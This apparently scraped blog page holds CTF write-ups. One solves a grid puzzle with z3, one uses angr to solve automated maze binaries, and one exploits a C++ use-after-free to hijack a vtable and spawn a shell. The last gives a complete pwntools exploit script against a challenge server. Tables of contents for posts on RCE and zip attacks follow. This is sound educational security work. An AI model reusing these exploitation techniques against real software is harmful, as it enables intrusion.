Also recall that the letters initialised range from a to n, and in fact n is the 14th letter of the alphabet. 14 rows, 14 columns, 14 letters, checking if everything equals 3… seems a little sus. Maybe the challenge authors are hinting at the number 42, the answer to life and everything in the universe? Is this the true reverse behind this challenge?

Anyway, let’s try to add these constraints to z3. In proper reverse fashion, instead of first checking the user input like the original function, we’ll start with the letters. We’ll collect the indices containing a letter (say 'a'), then collect all the input symbols associated with those indices, sum them, and constrain them to three.

# Constraint 3: mask constraint.
letters = 'abcdefghijklmn'
for l in letters:
    # Find all indices in chars which have letter `l`, then sum the corresponding Int symbols from `inputs`.
    indices = [i for i, c in enumerate(chars) if c == l]
    s.add(z3.Sum([inputs[i] for i in indices]) == 3)

Great! Three down, one to go.

The Fourth Guard: Wonky Jumps and Guesswork

Here's a snippet of the fourth guard:

The first half is understandable... But the rest... Hoh! What an eye sore! What’s the jump doin— I can’t even— ugnahfpwifhlqufjcjwalfhwowjrvkaufjwp.

As far as my monkey brain understands, the function iterates through every grid cell, and if it equals 1, performs some complicated check in an inner loop. At this point, I tried to understand what the inner loop was doing. Not much success. Looking at the decompiled output, keep in mind that 0xfffffff1 is only the unsigned interpretation. There is also the signed interpretation, which in this case is -15.

I then trained my eyes on the other "magic constants" in the inner loop and focused all my reverse powers by staring the numbers down. -1, -15, -14, -13, 1, 15, 14, 13. Hmm…

Ooh! Perhaps it’s checking adjacent cells orthodiagonally (i.e. orthogonal + diagonal)? If you’ve implemented a Minesweeper game before, you’ll know where I’m going :P. Indexing i - 14 would pick the cell above cell i, since each row is 14 cells wide. Similarly, i + 14 would pick the cell below. i + 15 would pick the bottom-right cell, and i - 1 would pick the left cell. Interesting!

The other complicated checks, I presume, are out-of-bound checks. For example, if we’re at i == 0 (the top-left corner), then the only adjacent cells are i + 1, i + 14, and i + 15. Anything else would go outside the array. After guessing this, I didn’t bother figuring out whether the decompiled loops actually follow this logic. ~~Terrible software engineering practice, but eh, we’re playing reverse, so might as well try it.~~

To the solver! For each symbol, we’ll add constraints saying, “If this cell is 1, its surrounding cells can’t be 1.” We’ll use z3.Implies to encode this logic. We only consider cells orthodiagonal to the current cell and within grid bounds.

# Constraint 4: check orthodiagonal adjacents.
for index, sym in enumerate(inputs):
    x = index % size
    y = index // size

    # Build list of adjacent indices. Bounds checking mania.
    orthodiag = []
    if y > 0:
        orthodiag += [-14]
        if x > 0:
            orthodiag += [-15]
        if x < size - 1:
            orthodiag += [-13]
    if y < size - 1:
        orthodiag += [14]
        if x > 0:
            orthodiag += [13]
        if x < size - 1:
            orthodiag += [15]
    if x > 0:
        orthodiag += [-1]
    if x < size - 1:
        orthodiag += [1]
    
    # If this cell is 1 --> surrounding cells can't be one.
    for od in orthodiag:
        s.add(z3.Implies(sym == 1, inputs[index + od] != 1))

And with that, we’ve defeated the four guards! Huzzah!

The Final Touch

All that’s left is to let z3 solve our constraints and generate concrete values for our symbols. We’ll push these concrete values into a payload variable and print it out.

# Construct payload.
payload = ''
m = s.model()
for sym in inputs:
    payload += str(m.eval(sym).as_long())

print(payload)
# 0101000000001000000101010000101000000001000000000101000110100000000100000010101000000100000000100100001010100000001000000010101000101000000000000000101010010101000000000000000001010100010101000000

We obtained a z3 model from the solver by calling s.model() and evaluated our symbols to produce concrete integer 1s and 0s by calling m.eval(sym).as_long().

After feeding this to the server, we obtain the flag. Yippee!

For an “easy” challenge, I definitely spent too much time on this. I wasted some time switching between a pure z3 logic solver and a full-blown angr solver, finding out angr was taking too long, and spamming Ctrl+Z. I could’ve spent this time sleeping instead. 😕

One of the difficulties of reverse is trying to understand both the high-level aspects and low-level aspects. Sometimes skimming through the program structure helps. Other times, getting deep into the nitty-gritty aspects may help us recognise some familiar elements. This challenge was a fun little exercise to practice these two approaches.

Solve Script

Flag

Payload

0101000000001000000101010000101000000001000000000101000110100000000100000010101000000100000000100100001010100000001000000010101000101000000000000000101010010101000000000000000001010100010101000000

Flag

DUCTF{gr1d_puzzl3s_ar3_t00_ez_r1ght?}

TAMUctf 2022 – CTF Sim

2022-04-24T00:00:00Z

Challenge Description

Wanna take a break from the ctf to do another ctf?

Write-Up

Ooooh, a C++ challenge. And it's about CTFs. Seems like a fun little exercise.

Preliminary Observations and Analysis

We're provided a C++ file and its compiled ELF. Upon an initial browse through the source, we see something interesting:

void win() {
    system("/bin/sh");
}

void* win_addr = (void*)&win;

A win function is already provided, along with a global variable win_addr storing the address of win.

Now on to the fun stuff. We're given six classes with the solve virtual function: one base class and the other five inheriting and overriding solve.

struct challenges { virtual void solve() { /* ... */ } };
struct forensics : challenges { virtual void solve() { /* ... */ } };
struct reversing : challenges { virtual void solve() { /* ... */ } };
struct pwn : challenges { virtual void solve() { /* ... */ } };
struct web : challenges { virtual void solve() { /* ... */ } };
struct crypto : challenges { virtual void solve() { /* ... */ } };

We then have three action functions:

downloadChallenge, which news one of the five derived classes,

// -- Read choice, index from input. --
if (choice == 1) {
    downloaded[index] = new forensics;
}
else if (choice == 2) {
    downloaded[index] = new reversing;
}
// ...
else {
    downloaded[index] = new crypto;
}

solveChallenge, which selects a downloaded challenge, then calls ->solve() and deletes it,
```
// -- Read index from input. --
downloaded[index]->solve();
delete downloaded[index];
```
C++
and

submitWriteup, which calls mallocs with custom size.

// -- Read length from input. --
char* writeup = (char*)malloc(length);
fgets(writeup, length, stdin); // Read writeup payload from input.

Interestingly, the malloced chunk isn't freed anywhere! Also in solveChallenge, the value of downloaded[i] isn't removed after being deleted... This is starting to smell like a double free or use-after-free vulnerability. But is it?

Let's start by defining helper functions in Python to help us perform actions:

def download_chal(category: int, save_index: int):
    if not (1 <= category <= 5 and 0 <= save_index <= 3):
        raise RuntimeError("bad bad")

    p.sendlineafter(b"> ", b'1')
    p.sendlineafter(b"> ", str(category).encode())
    p.sendlineafter(b"> ", str(save_index).encode())

def solve_chal(index: int):
    if not (0 <= index <= 3):
        raise RuntimeError("bad bad")
    
    p.sendlineafter(b"> ", b'2')
    p.sendlineafter(b"> ", str(index).encode())

def submit_writeup(content: bytes, length: int = None):
    if length is None:
        length = len(content) + 1
    elif len(content) >= length:
        raise RuntimeError("your math bad bad")
    
    if b'\n' in content:
        raise RuntimeError("bad bad newline")

    p.sendlineafter(b"> ", b'3')
    p.sendlineafter(b"> ", str(length).encode())
    p.sendlineafter(b"> ", content)

Now we just need to figure out how to call these, and what to call them with...

Virtual Tables

Ugh... virtual functions. They're convenient high-level features and great for polymorphism, but how do they actually work underneath?

My Google-fu did not fail me. I found a couple useful resources:

a StackOverflow answer
a well-written blog post by one named Pablo

I'll try my best to summarise the wisdom found there:

If a class has a virtual function...
- the class has a vtable, and
- objects of the class contains an implicit "vptr" member.
  - In memory, the vptr is placed at the very beginning of the object.
  - The vptr points to the vtable of the class.
The vtable is a list of pointers to the concrete implementations of the virtual functions.
When a virtual function is called, the vtable is accessed through the vptr. The vtable is then used to look up the appropriate virtual function and pass it the appropriate parameters.

To better understand vtables and vpointers, here's a virtual function example in C++ along with a desugared version written in C.

C++ Version:

class Parent {
public:
    // void* vtable; // Implicit, but exists due to virtual functions.
    int parent_data;
    Parent(int data) : parent_data{data} {}

    virtual void foo(int x) { std::cout << "parent (" << parent_data << ") foo: " << x << std::endl; }
    virtual void bar(int x) { std::cout << "parent (" << parent_data << ") bar: " << x << std::endl; }
};

// Inherits Parent::parent_data and Parent::foo.
class Derived : public Parent {
public:
    // void* vtable; // Implicit for same reason as Parent.
    int derived_data;
    Derived(int data, int data2) : Parent{data}, derived_data{data2} {}

    // Overrides Parent::bar.
    virtual void bar(int x) { std::cout << "derived (" << parent_data << ", " << derived_data << ") bar: " << x << std::endl; }
};

int main() {
    Parent p{1};
    p.foo(2); // Parent::foo
    p.bar(3); // Parent::bar

    Derived d{5, 6};
    d.foo(7); // Parent::foo
    d.bar(8); // Derived::bar
}

^{(godbolt demo)}

C Version:

typedef void (*funcptr_t)(); // Type alias for function pointers.

typedef struct {
    funcptr_t* vtable;
    int parent_data;
} Parent;

typedef struct {
    funcptr_t* vtable;
    int parent_data; // Inherited from Parent.
    int derived_data;
} Derived;

// Enumeration of virtual functions.
enum { VFUNCTION_FOO, VFUNCTION_BAR };

// Concrete implementations.
void parent__foo(Parent* p, int x) { printf("parent (%d) foo: %d\n", p->parent_data, x); }
void parent__bar(Parent* p, int x) { printf("parent (%d) bar: %d\n", p->parent_data, x); }
void derived__bar(Derived* d, int x) { printf("derived (%d, %d) bar: %d\n", d->parent_data, d->derived_data, x); }

// Virtual implementations (redirect).
void foo(Parent* p, int x) { p->vtable[VFUNCTION_FOO]((void*)p, x); }
void bar(Parent* p, int x) { p->vtable[VFUNCTION_BAR]((void*)p, x); }

// vtable definitions.
funcptr_t parent__vtable[] = {
    parent__foo,
    parent__bar,
};

funcptr_t derived__vtable[] = {
    parent__foo,
    derived__bar,
};

int main(void) {
    Parent p = {parent__vtable, 1};
    foo(&p, 2); // parent__foo
    bar(&p, 3); // parent__bar.

    Derived d = {derived__vtable, 5, 6};
    foo((Parent*)&d, 7); // parent__foo
    bar((Parent*)&d, 8); // derived__bar.
}

^{(godbolt demo, inspired from this gist)}

So to reiterate and relate how this works with ctf_sim.cpp:

By observation, each class (challenge, forensic, reversing, etc.) has a virtual function.
Therefore, each class has a vtable.
Also, an object of any class (challenge, forensic, etc.) has a vptr.
This vptr points to the corresponding vtable of the class.
- e.g. a forensic object will have a vptr pointing to the forensic vtable.
- a pwn object will have a vptr pointing to the pwn vtable.

Exploiting the Binary with GDB

This section will walk through the hands-on aspect exploiting the ctf_sim binary using GDB. I try to go through the entire procedure to clarify the details, so it may be slightly long-winded. Feel free to skip to the conclusion.

To recap a bit, we know that...

when a virtual function is called, the function does a little double-dereference magic using the object's vptr.
there is a use-after-free/double-free vulnerability.
- When solving a challenge, delete is called. But the pointer value isn't cleared.
```
int main() {
    int* p = new int;
    // Suppose p == 0x404000.
    delete p;
    // Pointer value is still 0x404000, not NULL or anything else.
}
```
  C++
- We could...
  - make a new challenge at the same index? This would overwrite our use-after-free pointer... we probably don't want that.
  - solve the challenge again? This would call the virtual function and delete the pointer again.
  - submit a writeup? We might be able to use this to reallocate the chunk and overwrite object data with custom data! Let's explore this a bit more using GDB.

We'll try the following:

Download challenge. This allocates a new chunk.
Solve the downloaded challenge. This should free the chunk.
Submit a writeup. This should reallocate the chunk, but with our custom data.
Solve the downloaded challenge again. This should call a double deref on the vptr.

To understand the exploit the details better and what happens under the hood, we'll use GDB to step through the exploit.

A brief refresher on some commands we'll be using. (See this GDB cheatsheet for more commands.)

r               # Run the file.
c               # Continue running where we left off.
heap chunks     # View active chunks on the heap.
x /40wx <addr>  # View memory at address as hex data.
x /40wi <addr>  # View memory at address as instructions.
disas <sym>     # Disassemble a symbol.
b *<addr>       # Set a breakpoint at the specified address.
kill            # Useful for stopping the current run in case we make an oopsie and need to restart.

After starting up my Kali Linux VM, downloading the challenge onto it, and firing up GDB; we inspect the initial state of the heap.

gdb ctf_sim  
r  
^C  
heap chunks

Ooo, looks a bit busy, even though we haven't malloced or newed anything yet! These are probably allocations from iostream buffers used to buffer the input and output streams. We'll ignore these for now as they aren't very important.

We perform our first action: downloading a challenge. The challenge type and index to store the challenge don't really matter, so we'll just go with the first option (new forensics) and index 0.

Let's pause again and check the state of the heap.

^C  
heap chunks

Notice that there is now a new chunk with size 0x20 with some data in the first few bytes. Since we just allocated a forensics object, this is likely the vptr of that object.

Indeed, if we peek into the binary's memory using x /20wx 0x403d38, we see what looks like some vtables having a party:

We'll move on to the second step: solving the challenge. This step is rather simple, but I want to show how the vtable magic is done in assembly. Let's disassemble the solveChallenge() function and set a breakpoint near the hotspot.

disas solveChallenge
b *solveChallenge+191

Now we'll continue running and feed it input for solving our forensics challenge.

c  
2  
0

Our breakpoint gets triggered. Notice the interesting chain of addresses in the rax register in the image below. There's a chain of 3 addresses:

the address of the forensics object vptr... which points to...
the address of the forensics vtable... which points to...
the address of forensics::solve...
- which is eventually called in assembly (call rax)

So this is what happens when we call a virtual function... InTeReStInG!

Let's continue so that it finishes delete-ing the chunk, and let's check the heap state again:

c  
^C
heap chunks

It appears that our forensics vptr has been replaced with some other data. 😢 But no worries! We'll just continue with our third action: submitting a writeup.

Since we want to reuse the chunk previously deallocated, we want to make sure the chunk we allocate when submitting the writeup isn't too big. But the chunk shouldn't be too small either: we want it to be at least 9 bytes, so that it could fit 8 bytes of payload plus a null terminator. So we'll settle for 16 bytes.

c  
3  
16  
AABBCCDD

Let's check our heap.

^C  
heap chunks

Sweet! We've overwritten the first 8 bytes of the chunk with our payload. Effectively, we've assigned a custom vptr to the forensics object.

"But bruh I thought our forensics object was deallocated!"

Well yes... but actually no... Objects in C/C++ are merely represented in memory as a sequence of bytes. You can interpret a sequence of bytes as any type. That's why casting across types is a thing in C/C++—albeit potentially dangerous. (In C, you'd use the usual cast (type*)&obj. In C++, you'd use reinterpret_cast<type*>(&obj).)

Now when we call solveChallenge, the line downloaded[index]->solve() will treat our chunk as a challenge*. It was originally supposed to be a char*, since we submitted a writeup. But since types don't matter in the assembly/memory level, the chunk is now a challenge* for all intents and purposes.

Since the chunk is treated as a challenge*, the assembly will try to double-deref the vptr... which is our payload from submitting the writeup.

Boom! Exploit.

If we continue running the program, a SIGSEGV occurs since it tries to dereference 0x4444434342424141 (which is "AABBCCDD", but packed to 64 bits).

Later on, we'll use win_addr instead of "AABBCCDD" for our payload; so that when the solve() virtual function does its magic, it will call win() instead.

Altogether

Combining our knowledge of vtables/vpointers with a little bit of heap knowledge, we come up with the following exploit:

# downloaded[0] = new forensics;   (vptr points to forensic's vtable.)
download_chal(1, 0)

# delete downloaded[0];    (chunk is moved to tcache/fast bin. downloaded[0] itself is unchanged!)
solve_chal(0)

# Chunk is allocated-- reusing the chunk previously deallocated.
# Overwrite vptr of downloaded[0] with &(&win).
submit_writeup(p64(elf.sym['win_addr']), 0x10)

# downloaded[0]->solve() triggers double dereference (due to virtual function resolution) and calls win()!
solve_chal(0)

To explain the "little bit of heap knowledge", we just need to understand that C++'s new/delete behaves like C's malloc/free: new will allocate a chunk, and delete will move the chunk to a bin. There are tons of different bins (small, large, fast, unsorted). But intuitively, the next new with a similar chunk size will reuse the chunk, meaning we overwrite the same memory previously allocated!

This story is reflected in the code above.

We download a challenge. This will new a chunk. The index and type of challenge (forensic, pwn, etc.) don't really matter, but just make sure we keep reusing the same index.
We solve a challenge. Here we delete the chunk previously allocated.
We submit a writeup. This mallocs a chunk and inserts a payload of win_addr.
- The size to malloc can be anywhere between 0x8 (exclusive) and 0x18 (inclusive). I used 0x10 since it looks pretty.
- Anything equal or less than 0x8 means our 8-byte payload will be cut off early. All 8 bytes are important, because the vptr machinery will be using the entire 8 bytes.
- Anything above 0x18 will allocate a new chunk instead of reusing the previously deallocated chunk.
We solve the same challenge as before. This triggers a call to a virtual function which double-derefs our payload (win_addr), calling win() and giving us a shell. PROFIT!

Solve Scripts

from pwn import *

binary = 'ctf_sim'

context.binary = binary
context.log_level = 'debug'

elf = ELF(binary)
rop = ROP(binary)

p = remote("tamuctf.com", 443, ssl=True, sni="ctf-sim")


def download_chal(category: int, save_index: int):
    if not (1 <= category <= 5 and 0 <= save_index <= 3):
        raise RuntimeError("bad bad")

    p.sendlineafter(b"> ", b'1')
    p.sendlineafter(b"> ", str(category).encode())
    p.sendlineafter(b"> ", str(save_index).encode())

def solve_chal(index: int):
    if not (0 <= index <= 3):
        raise RuntimeError("bad bad")
    
    p.sendlineafter(b"> ", b'2')
    p.sendlineafter(b"> ", str(index).encode())

def submit_writeup(content: bytes, length: int = None):
    if length is None:
        length = len(content) + 1
    elif len(content) >= length:
        raise RuntimeError("your math bad bad")
    
    if b'\n' in content:
        raise RuntimeError("bad bad newline")

    p.sendlineafter(b"> ", b'3')
    p.sendlineafter(b"> ", str(length).encode())
    p.sendlineafter(b"> ", content)

# downloaded[0] = new forensics;   (vptr points to forensic's vtable.)
download_chal(1, 0)

# delete downloaded[0];    (chunk is moved to tcache/fast bin. downloaded[0] itself is unchanged!)
solve_chal(0)

# Chunk is allocated-- reusing the chunk previously deallocated.
# Overwrite vptr of downloaded[0] with &(&win).
submit_writeup(p64(elf.sym['win_addr']), 0x10)

# downloaded[0]->solve() triggers double dereference (due to virtual function resolution) and calls win()!
solve_chal(0)

p.interactive()

Flag

gigem{h34pl355_1n_53477l3}

TAMUctf 2022 – Labyrinth

2022-04-22T00:00:00Z

Challenge Description

To get the flag you'll need to get to the end of a maz- five randomly generated mazes within five minutes.

This is an automatic reversing challenge. You will be provided an ELF as a hex string. You should analyze it, construct an input to make it terminate with exit(0), and then respond with your input in the same format. You will need to solve five binaries within a five minute timeout.

Write-Up

Preliminary Observations and Analysis

Unlike other reverse challenges, this one requires us to connect to a server and auto-hack not one, but five binaries. We're provided with this template:

from pwn import *

p = remote("tamuctf.com", 443, ssl=True, sni="labyrinth")
for binary in range(5):
  with open("elf", "wb") as file:
    file.write(bytes.fromhex(p.recvline().rstrip().decode()))

  # send whatever data you want
  p.sendline(b"howdy".hex())
p.interactive()

Modifying the template slightly, we run and download a couple binaries for analysis.

As a first step, we'll run checksec to see what securities are in place.

checksec elf
[*] '/Users/<redacted>/labyrinth/elf'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

It appears that PIE is enabled. We'll make a mental note of this, since this may mess with function addresses.

What is PIE? Sadly, not the scrumptious dessert. Position-independent executable is a security mechanism whereby on starting an application, the OS will offset the assembly sections (.data, .text, etc.).

Next, we decompile our elves using Ghidra and make some observations.

^{Only one function contains exit(0).}

^{Other functions seem to perform some sort of check and lead to more functions.}

Each binary contains a thousand (1000) functions (excluding main). The symbols are function_0, function_1, function_2, and so on.
Each of these functions will:
- Call scanf("%u\n", ...) (read 4 bytes into a stack variable), and
- Branch (if, else-if, else) into two or more paths.
- The branch conditions come in some form of arithmetic check. For example, input == 0x1c1, input ^ 0xc213504e == 0x142, input < 0x143, input - 0x5173cdc3 == 0x28b.
- Each branch will either
  - exit(1)
  - or call another function from the 1000 functions.
- The number of branches, numbers used in the conditions, and order of conditions are random.
All 1000 functions are laid next to each other in memory.
main is always at 0x101155 and starts by calling one of the 1000 functions. The function call is not fixed (i.e. we can't be certain about the address).
Only one function calls exit(0) and this function is always at address 0x1011c4.

To "solve" an elf, we need to give an appropriate input at each step of the function such that the correct branch and path are taken. In other words, we need to trace the right path out of the maze. We need to solve 5 elves to get the flag. We only have five minutes for five elves. Solving this without any automation seems next to impossible. Thankfully, we have angr.

What is angr?
angr is a python library which simulates machine code while keeping track of program state. Its exploration features are useful to find the input corresponding to a given output.

Coding

As a preliminary step, we'll import angr, load the project, and set some constants.

from angr import *
from pwn import *

def solve(file='elf'):
    p = Project(file)
    elf = ELF(file)

    # Find target address.
    start_addr = 0x4011b3
    tar_addr = 0x4011c8

Ghidra will load PIE assembly at offset 0x100000, but angr loads it at 0x400000 by default. So all addresses in the previous section were offset by an additional 0x300000 to account for this difference. There's a way to make angr load at a custom offset, but I forgot what the option was called. (But the option exists!)

Now we'll try some good ol' angr explore() and see what turns up.

state = p.factory.entry_state(addr=start_addr) # Construct the state when we "start" the executable at `start_addr`.
simgr = p.factory.simgr(state) # Get a simulation manager. This will... manage our simulations.
simgr.explore(find=tar_addr)  # GOGOGO!!!

explore() is the most straightforward command in angr. With the find=tar_addr parameter, we tell explore() to simulate and look for states which will execute the instruction at tar_addr.

Path Explosion

Unfortunately, this takes forever to run due to path explosion. Notice how the control flow makes the paths diverge in one of the binaries:

Now angr is pretty smart, but not too smart. angr will simulate all paths and if it encounters a branch, it will simulate both branches together. However, it will treat the function_133 branches as separate states...

To get a more concrete view of paths exploding, Gru tried calling simgr.run(n=50)—which simulates 50 steps...

90 active states is quite a lot! Usually we'd want to limit ourselves to around 10 active states to ensure good simulation speed.

With 50 steps and already 90 active states, the situation is pretty dismal. We'll need to find a better way of getting to the target address.

CFGs to the Rescue

Control flow graphs (CFGs) are directed graphs where nodes are blocks of code and edges indicate the direction the code can take. By translating the program into a graph, we can utilise the many graph algorithms at our disposal. In particular, we're interested in the shortest path between a start node and target node.

angr comes with a bundle of analysis modules; these include two CFG analysis strategies: CFGFast and CFGEmulated. The former analyses the program statically (without actually simulating the code!), whereas the latter analyses the program dynamically (i.e. by simulating the code).

Since the labyrinth elf only contains simple if-statements and function calls, and no obfuscation or complicated redirection whatsoever, we can construct a CFG statically!

Working with graphs and nodes in angr is fairly straightforward. angr CFGs are just instances of networkx graphs (a python graph library), so we'll need to import it to use its handy shortest_path function.

# Construct a CFG from the 1000 functions. 
# Restrict analysis to the relevant region to save time.
region = [(0x401155, 0x400000 + elf.sym['__libc_csu_init'])]
cfg = p.analyses.CFGFast(regions=region)

# Get networkx nodes for start and target addresses in CFG.
src_node = cfg.model.get_any_node(start_addr, anyaddr=True)
tar_node = cfg.model.get_any_node(tar_addr, anyaddr=True)

# Ensure nodes exist. shortest_path works differently if a node is None.
assert src_node is not None and tar_node is not None

# Construct the shortest path from src to tar. This will be a list of CFGNodes.
from networkx import shortest_path
path = shortest_path(cfg.graph, src_node, tar_node)

Now that we have a direct sequence of nodes from main to our exit(0) function, we just need to guide angr's simulation manager along the path, function-by-function.

# Walk through the rest of the path.
state = p.factory.blank_state(addr=start_addr)
for node in path:
    # Let the simulator engine works its magic.
    simgr = p.factory.simgr(state)
    simgr.explore(find=node.addr)
    assert len(simgr.found) > 0
    
    # Keep the found state for next iteration.
    state = simgr.found[0]

Our last step is to get the input used. angr's constraint solver should have it figured out.

# Get input which will get us from main to exit(0).
chain = state.posix.dumps(0)
return chain

On my computer, this solve process takes roughly 30-40 seconds... which is good enough, since it falls within the allotted time of one minute per solve. Putting it together with the solver template and running it, the server kindly hands us the flag!

Solve Script

from angr import *
from networkx import shortest_path
from pwn import *


def solve(file='elf'):
    p = Project(file)
    elf = ELF(file)

    # Find target address.
    start_addr = 0x4011b3
    tar_addr = 0x4011c8

    # Construct a CFG from the 1000 functions.
    # Restrict analysis to the relevant region to reduce time.
    region = [(0x401155, 0x400000 + elf.sym['__libc_csu_init'])]
    cfg = p.analyses.CFGFast(regions=region)

    # Get networkx nodes for start and target addresses in CFG.
    src_node = cfg.model.get_any_node(start_addr, anyaddr=True)
    tar_node = cfg.model.get_any_node(tar_addr, anyaddr=True)

    # Ensure nodes exist. shortest_path works differently if a node is None.
    assert src_node is not None and tar_node is not None

    # Construct the shortest path from src to tar. This will be a list of CFGNodes.
    path = shortest_path(cfg.graph, src_node, tar_node)

    # Walk through the rest of the path.
    state = p.factory.blank_state(addr=start_addr)
    for node in path:
        # Let the simulator engine works its magic.
        simgr = p.factory.simgr(state)
        simgr.explore(find=node.addr)
        assert len(simgr.found) > 0
        
        # Keep the found state for next iteration.
        state = simgr.found[0]

    # Get input which will get us from main to exit(0).
    chain = state.posix.dumps(0)
    print(chain)

    return chain


p = remote("tamuctf.com", 443, ssl=True, sni="labyrinth")

for binary in range(5):
    # Read input and save as binary.
    with open("elf", "wb") as file:
        file.write(bytes.fromhex(p.recvline().rstrip().decode()))
    
    # Solve and print.
    out = solve()
    p.sendline(out.hex().encode())

p.interactive()

Flag

gigem{w0w_y0ur3_r34lly_600d_w17h_m4z35}

TrebledJ's Pages

Sharing is Caring: Arbitrary Code Execution for Breakfast

The Challenge

C++ Internals Redux

What are shared pointers?

What are virtual tables?

What is an std::string?

Analysis

Initial Analysis

Type Confusion Primitives

Exploitation

Leaking the VTable

Arbitrary Memory Read!

Finding the Heap Address

Finding Congee's Address

Finding Congee's Address: Less Hacky Method

Arbitrary Code Execution (ACE) via Gadget Chains

PCOP / JOP

Approach 1: libstdc++ & One-Gadget

Approach 2: system("/bin/sh") Gadget Chain

Conclusion

Solve Script

Flag

Dynamic Views Loading – Abusing Server Side Rendering in Drogon

Drogon Redux

Simple View Example

Why Use Dynamic Views?

Dynamic Views: Compilation and Loading

From CSP Markup to C++

Attack Vectors

1. RCE via Rendered CSP

2. Bypassing Simple Denylists

File Read/Write with fstream, fopen

File Read/Write with open, read

File Read/Write, RCE with syscall

File Read with mmap

File Read/Write, RCE via Inline Assembly

Local File Inclusion with #include

Bypass Denylists with Macro Token Concatenation (##)

3. RCE via Init Section

Init Section via <%inc

Escaping Function Scope with <%c++ and [[

4. RCE via File Name

Takeaways and Mitigations

Conclusion

From Compression to Compromise: Unmasking Zip File Threats

Zip Attacks

Zip Slip ⛸

Overview of Zip Slip

DIY: Build your own Zip Slip payload!

Limitations of Zip Slip

Zip Symlink Attacks 🖇

Arbitrary File Read with File Symlinks

Arbitrary File Write with Dir Symlinks

DIY: Build your own Zip Symlink Payload!

Limitations of Zip Symlink Attacks

Zip Bombs 💣

DIY: Build your own Zip Bomb!

Zip Vulnerabilities in the Wild

Mitigations and Other Considerations

Permissions

Modern Antivirus

Robust Code

Unit Tests

tl;dr

Other References

HKCERT CTF 2023 – Decompetition: Vitamin C++

Description

Analysis

Trie Me

Setting Up the Structure

Demangling Names

Classy Types

Reversing

Plagiarise a Decompiler

Implement the Data Structure

On Various Features

On Scoping

On Structured Bindings

On Const Ref

What is an `std::string`?

Approach 2: `system("/bin/sh")` Gadget Chain

File Read/Write with `fstream`, `fopen`

File Read/Write with `open`, `read`

File Read/Write, RCE with `syscall`

File Read with `mmap`

Local File Inclusion with `#include`

Bypass Denylists with Macro Token Concatenation (`##`)

Init Section via `<%inc`

Escaping Function Scope with `<%c++` and `[[`

`pwnlib.gdb.attach`